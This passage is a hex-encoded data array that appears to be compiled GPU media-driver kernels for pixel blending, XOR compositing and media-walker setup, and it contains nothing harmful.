0x00010000, 0x00000030, 0xbfff006b, 0x00000040, 0x3fff006d, 0x00000000, 0x00000000, 0x00000000,
0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001,
0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000,
0x0000002c, 0x00000014, 0x00000005, 0x00000001, 0x00000040, 0x00000020, 0x00000006, 0x00000001,
0x00000060, 0x00000020, 0x00000007, 0x00000001, 0x00000080, 0x00000002, 0x00000000, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000007b4, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00020001, 0x63725300, 0x6e656c42, 0x34345f64, 0x36315f34,
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030,
0x3fff006b, 0x00000030, 0xbfff006f, 0x00000040, 0xbfff006e, 0x00000050, 0xbfff0070, 0x00000060,
0xbfff0073, 0x00000070, 0xbfff0071, 0x00000080, 0xbfff0072, 0x000000c0, 0x3fff000a, 0x000000c0,
0x3fff000b, 0x000000c0, 0x3fff000c, 0x000000c0, 0x3fff000d, 0x000000c0, 0x3fff000e, 0x000000c0,
0x3fff000f, 0x000000c0, 0x3fff0010, 0x000000c0, 0x3fff0011, 0x000000c0, 0x3fff0012, 0x000000c0,
0x3fff0013, 0x000000c0, 0x3fff0014, 0x000000c0, 0x3fff0015, 0x000000c0, 0x3fff0016, 0x000000c0,
0x3fff0017, 0x000000c0, 0x3fff0018, 0x000000c0, 0x3fff0019, 0x000000c0, 0x3fff001a, 0x000000c0,
0x3fff001b, 0x000000c0, 0x3fff001c, 0x000000c0, 0x3fff001d, 0x000000c0, 0x3fff001e, 0x000000c0,
0x3fff001f, 0x000000c0, 0x3fff0020, 0x000000c0, 0x3fff0021, 0x000000c0, 0x3fff0022, 0x000000c0,
0x3fff0023, 0x000000c0, 0x3fff0024, 0x000000c0, 0x3fff0025, 0x000000c0, 0x3fff0026, 0x000000c0,
0x3fff0027, 0x000000c0, 0x3fff0028, 0x000000c0, 0x3fff0029, 0x000000c0, 0x3fff002a, 0x000000c0,
0x3fff002b, 0x000000c0, 0x3fff002c, 0x000000c0, 0x3fff002d, 0x000000c0, 0x3fff002e, 0x000000c0,
0x3fff002f, 0x000000c0, 0x3fff0030, 0x000000c0, 0x3fff0031, 0x000000c0, 0x3fff0032, 0x000000c0,
0x3fff0033, 0x000000c0, 0x3fff0034, 0x000000c0, 0x3fff0035, 0x000000c0, 0x3fff0036, 0x000000c0,
0x3fff0037, 0x000000c0, 0x3fff0038, 0x000000c0, 0x3fff0039, 0x000000c0, 0x3fff003a, 0x000000c0,
0x3fff003b, 0x000000c0, 0x3fff003c, 0x000000c0, 0x3fff003d, 0x000000c0, 0x3fff003e, 0x000000c0,
0x3fff003f, 0x000000c0, 0x3fff0040, 0x000000c0, 0x3fff0041, 0x000000c0, 0x3fff0042, 0x000000c0,
0x3fff0043, 0x000000c0, 0x3fff0044, 0x000000c0, 0x3fff0045, 0x000000c0, 0x3fff0046, 0x000000c0,
0x3fff0047, 0x000000c0, 0x3fff0048, 0x000000c0, 0x3fff0049, 0x000000c0, 0x3fff004a, 0x000000c0,
0x3fff004b, 0x000000c0, 0x3fff004c, 0x000000c0, 0x3fff004d, 0x000000c0, 0x3fff004e, 0x000000c0,
0x3fff004f, 0x000000c0, 0x3fff0050, 0x000000c0, 0x3fff0051, 0x000000c0, 0x3fff0052, 0x000000c0,
0x3fff0053, 0x000000c0, 0x3fff0054, 0x000000c0, 0x3fff0055, 0x000000c0, 0x3fff0056, 0x000000c0,
0x3fff0057, 0x000000c0, 0x3fff0058, 0x000000c0, 0x3fff0059, 0x000000c0, 0x3fff005a, 0x000000c0,
0x3fff005b, 0x000000c0, 0x3fff005c, 0x000000c0, 0x3fff005d, 0x000000c0, 0x3fff005e, 0x000000c0,
0x3fff005f, 0x000000c0, 0x3fff0060, 0x000000c0, 0x3fff0061, 0x000000c0, 0x3fff0062, 0x000000c0,
0x3fff0063, 0x000000c0, 0x3fff0064, 0x000000c0, 0x3fff0065, 0x000000c0, 0x3fff0066, 0x000000c0,
0x3fff0067, 0x000000c0, 0x3fff0068, 0x000000c0, 0x3fff0069, 0x000000c0, 0xbfff0074, 0x000000d0,
0xbfff0075, 0x000000d0, 0xbfff0076, 0x000000e0, 0xbfff0077, 0x000000f0, 0xbfff0078, 0x000000f0,
0xbfff0079, 0x00000100, 0xbfff007a, 0x00000140, 0x3fff006a, 0x00000160, 0xbfff007b, 0x00000170,
0xbfff007d, 0x00000180, 0xbfff007c, 0x00000190, 0xbfff007e, 0x00000b20, 0x3fff007f, 0x00000020,
0x00010000, 0x00000870, 0x3fff006b, 0x00000940, 0x3fff0072, 0x00000960, 0x3fff006a, 0x000009a0,
0x3fff0073, 0x000009b0, 0x3fff0075, 0x000009c0, 0x3fff0074, 0x000009d0, 0x3fff0076, 0x000009f0,
0x3fff0077, 0x00000a10, 0x3fff007a, 0x00000a20, 0x3fff007b, 0x00000a20, 0x3fff007c, 0x00000a40,
0x3fff0078, 0x00000a40, 0x3fff0079, 0x00000a90, 0x3fff007d, 0x00000aa0, 0x3fff007e, 0x00000ac0,
0x3fff006c, 0x00000ae0, 0x3fff006f, 0x00000af0, 0x3fff0070, 0x00000af0, 0x3fff0071, 0x00000b10,
0x3fff006d, 0x00000b10, 0x3fff006e, 0x00000b10, 0xbfff000a, 0x00000b10, 0xbfff000b, 0x00000b10,
0xbfff000c, 0x00000b10, 0xbfff000d, 0x00000b10, 0xbfff000e, 0x00000b10, 0xbfff000f, 0x00000b10,
0xbfff0010, 0x00000b10, 0xbfff0011, 0x00000b10, 0xbfff0012, 0x00000b10, 0xbfff0013, 0x00000b10,
0xbfff0014, 0x00000b10, 0xbfff0015, 0x00000b10, 0xbfff0016, 0x00000b10, 0xbfff0017, 0x00000b10,
0xbfff0018, 0x00000b10, 0xbfff0019, 0x00000b10, 0xbfff001a, 0x00000b10, 0xbfff001b, 0x00000b10,
0xbfff001c, 0x00000b10, 0xbfff001d, 0x00000b10, 0xbfff001e, 0x00000b10, 0xbfff001f, 0x00000b10,
0xbfff0020, 0x00000b10, 0xbfff0021, 0x00000b10, 0xbfff0022, 0x00000b10, 0xbfff0023, 0x00000b10,
0xbfff0024, 0x00000b10, 0xbfff0025, 0x00000b10, 0xbfff0026, 0x00000b10, 0xbfff0027, 0x00000b10,
0xbfff0028, 0x00000b10, 0xbfff0029, 0x00000b10, 0xbfff002a, 0x00000b10, 0xbfff002b, 0x00000b10,
0xbfff002c, 0x00000b10, 0xbfff002d, 0x00000b10, 0xbfff002e, 0x00000b10, 0xbfff002f, 0x00000b10,
0xbfff0030, 0x00000b10, 0xbfff0031, 0x00000b10, 0xbfff0032, 0x00000b10, 0xbfff0033, 0x00000b10,
0xbfff0034, 0x00000b10, 0xbfff0035, 0x00000b10, 0xbfff0036, 0x00000b10, 0xbfff0037, 0x00000b10,
0xbfff0038, 0x00000b10, 0xbfff0039, 0x00000b10, 0xbfff003a, 0x00000b10, 0xbfff003b, 0x00000b10,
0xbfff003c, 0x00000b10, 0xbfff003d, 0x00000b10, 0xbfff003e, 0x00000b10, 0xbfff003f, 0x00000b10,
0xbfff0040, 0x00000b10, 0xbfff0041, 0x00000b10, 0xbfff0042, 0x00000b10, 0xbfff0043, 0x00000b10,
0xbfff0044, 0x00000b10, 0xbfff0045, 0x00000b10, 0xbfff0046, 0x00000b10, 0xbfff0047, 0x00000b10,
0xbfff0048, 0x00000b10, 0xbfff0049, 0x00000b10, 0xbfff004a, 0x00000b10, 0xbfff004b, 0x00000b10,
0xbfff004c, 0x00000b10, 0xbfff004d, 0x00000b10, 0xbfff004e, 0x00000b10, 0xbfff004f, 0x00000b10,
0xbfff0050, 0x00000b10, 0xbfff0051, 0x00000b10, 0xbfff0052, 0x00000b10, 0xbfff0053, 0x00000b10,
0xbfff0054, 0x00000b10, 0xbfff0055, 0x00000b10, 0xbfff0056, 0x00000b10, 0xbfff0057, 0x00000b10,
0xbfff0058, 0x00000b10, 0xbfff0059, 0x00000b10, 0xbfff005a, 0x00000b10, 0xbfff005b, 0x00000b10,
0xbfff005c, 0x00000b10, 0xbfff005d, 0x00000b10, 0xbfff005e, 0x00000b10, 0xbfff005f, 0x00000b10,
0xbfff0060, 0x00000b10, 0xbfff0061, 0x00000b10, 0xbfff0062, 0x00000b10, 0xbfff0063, 0x00000b10,
0xbfff0064, 0x00000b10, 0xbfff0065, 0x00000b10, 0xbfff0066, 0x00000b10, 0xbfff0067, 0x00000b10,
0xbfff0068, 0x00000b10, 0xbfff0069, 0x00000b20, 0x3fff007f, 0x00000000, 0x00000000, 0x00000000,
0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001,
0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000,
0x0000002c, 0x00000011, 0x00000005, 0x00000001, 0x00000040, 0x000003b8, 0x00000006, 0x00000001,
0x000003f8, 0x000003b8, 0x00000007, 0x00000001, 0x000007b0, 0x00000002, 0x00000000, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x00000410, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00020001, 0x63725300, 0x6e656c42, 0x62345f64, 0x5f737469,
0x5f343434, 0x00003631, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff006b, 0x00000030, 0xbfff006e, 0x00000040, 0xbfff0079, 0x00000070, 0x3fff006a,
0x000000b0, 0x0000ffff, 0x00000940, 0x3fff006a, 0x00000970, 0x3fff006b, 0x00000a20, 0x3fff0076,
0x00000b30, 0x3fff006c, 0x00000b30, 0x3fff006d, 0x00000b50, 0x3fff0074, 0x00000b50, 0x3fff0075,
0x00000b90, 0x3fff0079, 0x00000ba0, 0x3fff006e, 0x00000bb0, 0x3fff006f, 0x00000bc0, 0x3fff0078,
0x00000bd0, 0x3fff0077, 0x00000be0, 0x3fff0072, 0x00000be0, 0x3fff0073, 0x00000c00, 0x3fff0070,
0x00000c00, 0x3fff0071, 0x00000c00, 0xbfff000a, 0x00000c00, 0xbfff000b, 0x00000c00, 0xbfff000c,
0x00000c00, 0xbfff000d, 0x00000c00, 0xbfff000e, 0x00000c00, 0xbfff000f, 0x00000c00, 0xbfff0010,
0x00000c00, 0xbfff0011, 0x00000c00, 0xbfff0012, 0x00000c00, 0xbfff0013, 0x00000c00, 0xbfff0014,
0x00000c00, 0xbfff0015, 0x00000c00, 0xbfff0016, 0x00000c00, 0xbfff0017, 0x00000c00, 0xbfff0018,
0x00000c00, 0xbfff0019, 0x00000c00, 0xbfff001a, 0x00000c00, 0xbfff001b, 0x00000c00, 0xbfff001c,
0x00000c00, 0xbfff001d, 0x00000c00, 0xbfff001e, 0x00000c00, 0xbfff001f, 0x00000c00, 0xbfff0020,
0x00000c00, 0xbfff0021, 0x00000c00, 0xbfff0022, 0x00000c00, 0xbfff0023, 0x00000c00, 0xbfff0024,
0x00000c00, 0xbfff0025, 0x00000c00, 0xbfff0026, 0x00000c00, 0xbfff0027, 0x00000c00, 0xbfff0028,
0x00000c00, 0xbfff0029, 0x00000c00, 0xbfff002a, 0x00000c00, 0xbfff002b, 0x00000c00, 0xbfff002c,
0x00000c00, 0xbfff002d, 0x00000c00, 0xbfff002e, 0x00000c00, 0xbfff002f, 0x00000c00, 0xbfff0030,
0x00000c00, 0xbfff0031, 0x00000c00, 0xbfff0032, 0x00000c00, 0xbfff0033, 0x00000c00, 0xbfff0034,
0x00000c00, 0xbfff0035, 0x00000c00, 0xbfff0036, 0x00000c00, 0xbfff0037, 0x00000c00, 0xbfff0038,
0x00000c00, 0xbfff0039, 0x00000c00, 0xbfff003a, 0x00000c00, 0xbfff003b, 0x00000c00, 0xbfff003c,
0x00000c00, 0xbfff003d, 0x00000c00, 0xbfff003e, 0x00000c00, 0xbfff003f, 0x00000c00, 0xbfff0040,
0x00000c00, 0xbfff0041, 0x00000c00, 0xbfff0042, 0x00000c00, 0xbfff0043, 0x00000c00, 0xbfff0044,
0x00000c00, 0xbfff0045, 0x00000c00, 0xbfff0046, 0x00000c00, 0xbfff0047, 0x00000c00, 0xbfff0048,
0x00000c00, 0xbfff0049, 0x00000c00, 0xbfff004a, 0x00000c00, 0xbfff004b, 0x00000c00, 0xbfff004c,
0x00000c00, 0xbfff004d, 0x00000c00, 0xbfff004e, 0x00000c00, 0xbfff004f, 0x00000c00, 0xbfff0050,
0x00000c00, 0xbfff0051, 0x00000c00, 0xbfff0052, 0x00000c00, 0xbfff0053, 0x00000c00, 0xbfff0054,
0x00000c00, 0xbfff0055, 0x00000c00, 0xbfff0056, 0x00000c00, 0xbfff0057, 0x00000c00, 0xbfff0058,
0x00000c00, 0xbfff0059, 0x00000c00, 0xbfff005a, 0x00000c00, 0xbfff005b, 0x00000c00, 0xbfff005c,
0x00000c00, 0xbfff005d, 0x00000c00, 0xbfff005e, 0x00000c00, 0xbfff005f, 0x00000c00, 0xbfff0060,
0x00000c00, 0xbfff0061, 0x00000c00, 0xbfff0062, 0x00000c00, 0xbfff0063, 0x00000c00, 0xbfff0064,
0x00000c00, 0xbfff0065, 0x00000c00, 0xbfff0066, 0x00000c00, 0xbfff0067, 0x00000c00, 0xbfff0068,
0x00000c00, 0xbfff0069, 0x00000c20, 0x3fff007f, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000017, 0x00000005, 0x00000001, 0x00000044, 0x00000040, 0x00000006, 0x00000001, 0x00000084,
0x00000388, 0x00000007, 0x00000001, 0x0000040c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x0000015c, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x5f505600, 0x75746553, 0x654d5f70, 0x57616964, 0x656b6c61, 0x00000072, 0x00000000, 0xbfff007f,
0x00000010, 0x3fff0000, 0x00000020, 0x80000001, 0x00000020, 0x80000002, 0x00000020, 0x80000003,
0x00000020, 0x80000004, 0x00000040, 0x80010005, 0x00000040, 0x80010006, 0x00000040, 0x80010007,
0x00000040, 0x80010008, 0x00000060, 0x80020009, 0x00000070, 0x8003006f, 0x00000090, 0x80040070,
0x000000a0, 0xbfff006c, 0x000000f0, 0xbfff006e, 0x00000180, 0xbfff006d, 0x00000210, 0xbfff006b,
0x00000020, 0x80000001, 0x00000020, 0x80000003, 0x00000020, 0x80000004, 0x00000040, 0x80010005,
0x00000040, 0x80010006, 0x00000060, 0x0002007f, 0x00000080, 0x3fff006f, 0x00000090, 0x00040000,
0x000000b0, 0x3fff0000, 0x00000130, 0x3fff0002, 0x000001e0, 0x3fff006e, 0x00000220, 0x3fff0008,
0x00000220, 0x3fff0007, 0x00000290, 0x3fff006c, 0x00000290, 0xbfff006b, 0x00000310, 0x3fff006d,
0x00000310, 0xbfff0009, 0x00000320, 0x3fff0070, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000016,
0x00000005, 0x00000001, 0x00000044, 0x00000088, 0x00000006, 0x00000001, 0x000000cc, 0x00000090,
0x00000007, 0x00000001, 0x0000015c, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000006f8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00020001,
0x524f5800, 0x6d6f435f, 0x69736f70, 0x345f6574, 0x315f3434, 0x00000036, 0x00000000, 0x00000000,
0x00000000, 0x80000071, 0x00000020, 0x80010072, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff006f,
0x00000040, 0xbfff0070, 0x00000050, 0xbfff006c, 0x00000080, 0x3fff000a, 0x00000080, 0x3fff000b,
0x00000080, 0x3fff000c, 0x00000080, 0x3fff000d, 0x00000080, 0x3fff000e, 0x00000080, 0x3fff000f,
0x00000080, 0x3fff0010, 0x00000080, 0x3fff0011, 0x00000080, 0x3fff0012, 0x00000080, 0x3fff0013,
0x00000080, 0x3fff0014, 0x00000080, 0x3fff0015, 0x00000080, 0x3fff0016, 0x00000080, 0x3fff0017,
0x00000080, 0x3fff0018, 0x00000080, 0x3fff0019, 0x00000080, 0x3fff001a, 0x00000080, 0x3fff001b,
0x00000080, 0x3fff001c, 0x00000080, 0x3fff001d, 0x00000080, 0x3fff001e, 0x00000080, 0x3fff001f,
0x00000080, 0x3fff0020, 0x00000080, 0x3fff0021, 0x00000080, 0x3fff0022, 0x00000080, 0x3fff0023,
0x00000080, 0x3fff0024, 0x00000080, 0x3fff0025, 0x00000080, 0x3fff0026, 0x00000080, 0x3fff0027,
0x00000080, 0x3fff0028, 0x00000080, 0x3fff0029, 0x00000080, 0x3fff002a, 0x00000080, 0x3fff002b,
0x00000080, 0x3fff002c, 0x00000080, 0x3fff002d, 0x00000080, 0x3fff002e, 0x00000080, 0x3fff002f,
0x00000080, 0x3fff0030, 0x00000080, 0x3fff0031, 0x00000080, 0x3fff0032, 0x00000080, 0x3fff0033,
0x00000080, 0x3fff0034, 0x00000080, 0x3fff0035, 0x00000080, 0x3fff0036, 0x00000080, 0x3fff0037,
0x00000080, 0x3fff0038, 0x00000080, 0x3fff0039, 0x00000080, 0x3fff003a, 0x00000080, 0x3fff003b,
0x00000080, 0x3fff003c, 0x00000080, 0x3fff003d, 0x00000080, 0x3fff003e, 0x00000080, 0x3fff003f,
0x00000080, 0x3fff0040, 0x00000080, 0x3fff0041, 0x00000080, 0x3fff0042, 0x00000080, 0x3fff0043,
0x00000080, 0x3fff0044, 0x00000080, 0x3fff0045, 0x00000080, 0x3fff0046, 0x00000080, 0x3fff0047,
0x00000080, 0x3fff0048, 0x00000080, 0x3fff0049, 0x00000080, 0x3fff004a, 0x00000080, 0x3fff004b,
0x00000080, 0x3fff004c, 0x00000080, 0x3fff004d, 0x00000080, 0x3fff004e, 0x00000080, 0x3fff004f,
0x00000080, 0x3fff0050, 0x00000080, 0x3fff0051, 0x00000080, 0x3fff0052, 0x00000080, 0x3fff0053,
0x00000080, 0x3fff0054, 0x00000080, 0x3fff0055, 0x00000080, 0x3fff0056, 0x00000080, 0x3fff0057,
0x00000080, 0x3fff0058, 0x00000080, 0x3fff0059, 0x00000080, 0x3fff005a, 0x00000080, 0x3fff005b,
0x00000080, 0x3fff005c, 0x00000080, 0x3fff005d, 0x00000080, 0x3fff005e, 0x00000080, 0x3fff005f,
0x00000080, 0x3fff0060, 0x00000080, 0x3fff0061, 0x00000080, 0x3fff0062, 0x00000080, 0x3fff0063,
0x00000080, 0x3fff0064, 0x00000080, 0x3fff0065, 0x00000080, 0x3fff0066, 0x00000080, 0x3fff0067,
0x00000080, 0x3fff0068, 0x00000080, 0x3fff0069, 0x000000b0, 0x3fff006a, 0x00000240, 0xbfff006d,
0x00000400, 0xbfff006e, 0x00000820, 0x3fff007f, 0x00000010, 0x3fff0071, 0x00000020, 0x00010000,
0x00000220, 0x3fff006c, 0x00000400, 0x3fff006d, 0x000005c0, 0x3fff006e, 0x00000620, 0x3fff006b,
0x000006d0, 0x3fff006a, 0x000007a0, 0x3fff006f, 0x000007f0, 0x3fff0070, 0x00000800, 0xbfff000a,
0x00000800, 0xbfff000b, 0x00000800, 0xbfff000c, 0x00000800, 0xbfff000d, 0x00000800, 0xbfff000e,
0x00000800, 0xbfff000f, 0x00000800, 0xbfff0010, 0x00000800, 0xbfff0011, 0x00000800, 0xbfff0012,
0x00000800, 0xbfff0013, 0x00000800, 0xbfff0014, 0x00000800, 0xbfff0015, 0x00000800, 0xbfff0016,
0x00000800, 0xbfff0017, 0x00000800, 0xbfff0018, 0x00000800, 0xbfff0019, 0x00000800, 0xbfff001a,
0x00000800, 0xbfff001b, 0x00000800, 0xbfff001c, 0x00000800, 0xbfff001d, 0x00000800, 0xbfff001e,
0x00000800, 0xbfff001f, 0x00000800, 0xbfff0020, 0x00000800, 0xbfff0021, 0x00000800, 0xbfff0022,
0x00000800, 0xbfff0023, 0x00000800, 0xbfff0024, 0x00000800, 0xbfff0025, 0x00000800, 0xbfff0026,
0x00000800, 0xbfff0027, 0x00000800, 0xbfff0028, 0x00000800, 0xbfff0029, 0x00000800, 0xbfff002a,
0x00000800, 0xbfff002b, 0x00000800, 0xbfff002c, 0x00000800, 0xbfff002d, 0x00000800, 0xbfff002e,
0x00000800, 0xbfff002f, 0x00000800, 0xbfff0030, 0x00000800, 0xbfff0031, 0x00000800, 0xbfff0032,
0x00000800, 0xbfff0033, 0x00000800, 0xbfff0034, 0x00000800, 0xbfff0035, 0x00000800, 0xbfff0036,
0x00000800, 0xbfff0037, 0x00000800, 0xbfff0038, 0x00000800, 0xbfff0039, 0x00000800, 0xbfff003a,
0x00000800, 0xbfff003b, 0x00000800, 0xbfff003c, 0x00000800, 0xbfff003d, 0x00000800, 0xbfff003e,
0x00000800, 0xbfff003f, 0x00000800, 0xbfff0040, 0x00000800, 0xbfff0041, 0x00000800, 0xbfff0042,
0x00000800, 0xbfff0043, 0x00000800, 0xbfff0044, 0x00000800, 0xbfff0045, 0x00000800, 0xbfff0046,
0x00000800, 0xbfff0047, 0x00000800, 0xbfff0048, 0x00000800, 0xbfff0049, 0x00000800, 0xbfff004a,
0x00000800, 0xbfff004b, 0x00000800, 0xbfff004c, 0x00000800, 0xbfff004d, 0x00000800, 0xbfff004e,
0x00000800, 0xbfff004f, 0x00000800, 0xbfff0050, 0x00000800, 0xbfff0051, 0x00000800, 0xbfff0052,
0x00000800, 0xbfff0053, 0x00000800, 0xbfff0054, 0x00000800, 0xbfff0055, 0x00000800, 0xbfff0056,
0x00000800, 0xbfff0057, 0x00000800, 0xbfff0058, 0x00000800, 0xbfff0059, 0x00000800, 0xbfff005a,
0x00000800, 0xbfff005b, 0x00000800, 0xbfff005c, 0x00000800, 0xbfff005d, 0x00000800, 0xbfff005e,
0x00000800, 0xbfff005f, 0x00000800, 0xbfff0060, 0x00000800, 0xbfff0061, 0x00000800, 0xbfff0062,
0x00000800, 0xbfff0063, 0x00000800, 0xbfff0064, 0x00000800, 0xbfff0065, 0x00000800, 0xbfff0066,
0x00000800, 0xbfff0067, 0x00000800, 0xbfff0068, 0x00000800, 0xbfff0069, 0x00000810, 0x3fff0072,
0x00000820, 0x3fff007f, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000016, 0x00000005,
0x00000001, 0x00000044, 0x00000358, 0x00000006, 0x00000001, 0x0000039c, 0x00000358, 0x00000007,
0x00000001, 0x000006f4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000007cc, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00020001,
0x524f5800, 0x6e6f4d5f, 0x6f435f6f, 0x736f706d, 0x5f657469, 0x5f343434, 0x00003631, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030,
0xbfff006f, 0x00000040, 0x3fff0002, 0x00000040, 0xbfff0070, 0x00000050, 0xbfff0072, 0x00000060,
0xbfff0075, 0x00000070, 0xbfff0071, 0x00000090, 0xbfff0073, 0x000000a0, 0xbfff0076, 0x000000c0,
0xbfff0074, 0x00000100, 0xbfff006e, 0x00000110, 0x3fff000a, 0x00000110, 0x3fff000b, 0x00000110,
0x3fff000c, 0x00000110, 0x3fff000d, 0x00000110, 0x3fff000e, 0x00000110, 0x3fff000f, 0x00000110,
0x3fff0010, 0x00000110, 0x3fff0011, 0x00000110, 0x3fff0012, 0x00000110, 0x3fff0013, 0x00000110,
0x3fff0014, 0x00000110, 0x3fff0015, 0x00000110, 0x3fff0016, 0x00000110, 0x3fff0017, 0x00000110,
0x3fff0018, 0x00000110, 0x3fff0019, 0x00000110, 0x3fff001a, 0x00000110, 0x3fff001b, 0x00000110,
0x3fff001c, 0x00000110, 0x3fff001d, 0x00000110, 0x3fff001e, 0x00000110, 0x3fff001f, 0x00000110,
0x3fff0020, 0x00000110, 0x3fff0021, 0x00000110, 0x3fff0022, 0x00000110, 0x3fff0023, 0x00000110,
0x3fff0024, 0x00000110, 0x3fff0025, 0x00000110, 0x3fff0026, 0x00000110, 0x3fff0027, 0x00000110,
0x3fff0028, 0x00000110, 0x3fff0029, 0x00000110, 0x3fff002a, 0x00000110, 0x3fff002b, 0x00000110,
0x3fff002c, 0x00000110, 0x3fff002d, 0x00000110, 0x3fff002e, 0x00000110, 0x3fff002f, 0x00000110,
0x3fff0030, 0x00000110, 0x3fff0031, 0x00000110, 0x3fff0032, 0x00000110, 0x3fff0033, 0x00000110,
0x3fff0034, 0x00000110, 0x3fff0035, 0x00000110, 0x3fff0036, 0x00000110, 0x3fff0037, 0x00000110,
0x3fff0038, 0x00000110, 0x3fff0039, 0x00000110, 0x3fff003a, 0x00000110, 0x3fff003b, 0x00000110,
0x3fff003c, 0x00000110, 0x3fff003d, 0x00000110, 0x3fff003e, 0x00000110, 0x3fff003f, 0x00000110,
0x3fff0040, 0x00000110, 0x3fff0041, 0x00000110, 0x3fff0042, 0x00000110, 0x3fff0043, 0x00000110,
0x3fff0044, 0x00000110, 0x3fff0045, 0x00000110, 0x3fff0046, 0x00000110, 0x3fff0047, 0x00000110,
0x3fff0048, 0x00000110, 0x3fff0049, 0x00000110, 0x3fff004a, 0x00000110, 0x3fff004b, 0x00000110,
0x3fff004c, 0x00000110, 0x3fff004d, 0x00000110, 0x3fff004e, 0x00000110, 0x3fff004f, 0x00000110,
0x3fff0050, 0x00000110, 0x3fff0051, 0x00000110, 0x3fff0052, 0x00000110, 0x3fff0053, 0x00000110,
0x3fff0054, 0x00000110, 0x3fff0055, 0x00000110, 0x3fff0056, 0x00000110, 0x3fff0057, 0x00000110,
0x3fff0058, 0x00000110, 0x3fff0059, 0x00000110, 0x3fff005a, 0x00000110, 0x3fff005b, 0x00000110,
0x3fff005c, 0x00000110, 0x3fff005d, 0x00000110, 0x3fff005e, 0x00000110, 0x3fff005f, 0x00000110,
0x3fff0060, 0x00000110, 0x3fff0061, 0x00000110, 0x3fff0062, 0x00000110, 0x3fff0063, 0x00000110,
0x3fff0064, 0x00000110, 0x3fff0065, 0x00000110, 0x3fff0066, 0x00000110, 0x3fff0067, 0x00000110,
0x3fff0068, 0x00000110, 0x3fff0069, 0x00000130, 0xbfff0077, 0x00000150, 0xbfff0078, 0x00000160,
0xbfff0079, 0x000001b0, 0xbfff007a, 0x000001c0, 0xbfff007b, 0x000001f0, 0x3fff006a, 0x00000200,
0xbfff007c, 0x00000210, 0xbfff007d, 0x00000220, 0xbfff007e, 0x00000c50, 0x3fff007f, 0x00000020,
0x00010000, 0x00000040, 0x3fff0002, 0x000001c0, 0x3fff006b, 0x000008e0, 0x3fff0070, 0x00000960,
0x3fff0076, 0x00000a00, 0x3fff007c, 0x00000a70, 0x3fff006a, 0x00000ab0, 0x3fff006f, 0x00000ae0,
0x3fff0071, 0x00000af0, 0x3fff0072, 0x00000b30, 0x3fff0073, 0x00000b30, 0x3fff0074, 0x00000b30,
0x3fff0075, 0x00000b60, 0x3fff0077, 0x00000b70, 0x3fff0078, 0x00000bb0, 0x3fff0079, 0x00000bb0,
0x3fff007a, 0x00000bb0, 0x3fff007b, 0x00000be0, 0x3fff006e, 0x00000bf0, 0x3fff007d, 0x00000c30,
0x3fff007e, 0x00000c30, 0x3fff006c, 0x00000c30, 0x3fff006d, 0x00000c40, 0xbfff000a, 0x00000c40,
0xbfff000b, 0x00000c40, 0xbfff000c, 0x00000c40, 0xbfff000d, 0x00000c40, 0xbfff000e, 0x00000c40,
0xbfff000f, 0x00000c40, 0xbfff0010, 0x00000c40, 0xbfff0011, 0x00000c40, 0xbfff0012, 0x00000c40,
0xbfff0013, 0x00000c40, 0xbfff0014, 0x00000c40, 0xbfff0015, 0x00000c40, 0xbfff0016, 0x00000c40,
0xbfff0017, 0x00000c40, 0xbfff0018, 0x00000c40, 0xbfff0019, 0x00000c40, 0xbfff001a, 0x00000c40,
0xbfff001b, 0x00000c40, 0xbfff001c, 0x00000c40, 0xbfff001d, 0x00000c40, 0xbfff001e, 0x00000c40,
0xbfff001f, 0x00000c40, 0xbfff0020, 0x00000c40, 0xbfff0021, 0x00000c40, 0xbfff0022, 0x00000c40,
0xbfff0023, 0x00000c40, 0xbfff0024, 0x00000c40, 0xbfff0025, 0x00000c40, 0xbfff0026, 0x00000c40,
0xbfff0027, 0x00000c40, 0xbfff0028, 0x00000c40, 0xbfff0029, 0x00000c40, 0xbfff002a, 0x00000c40,
0xbfff002b, 0x00000c40, 0xbfff002c, 0x00000c40, 0xbfff002d, 0x00000c40, 0xbfff002e, 0x00000c40,
0xbfff002f, 0x00000c40, 0xbfff0030, 0x00000c40, 0xbfff0031, 0x00000c40, 0xbfff0032, 0x00000c40,
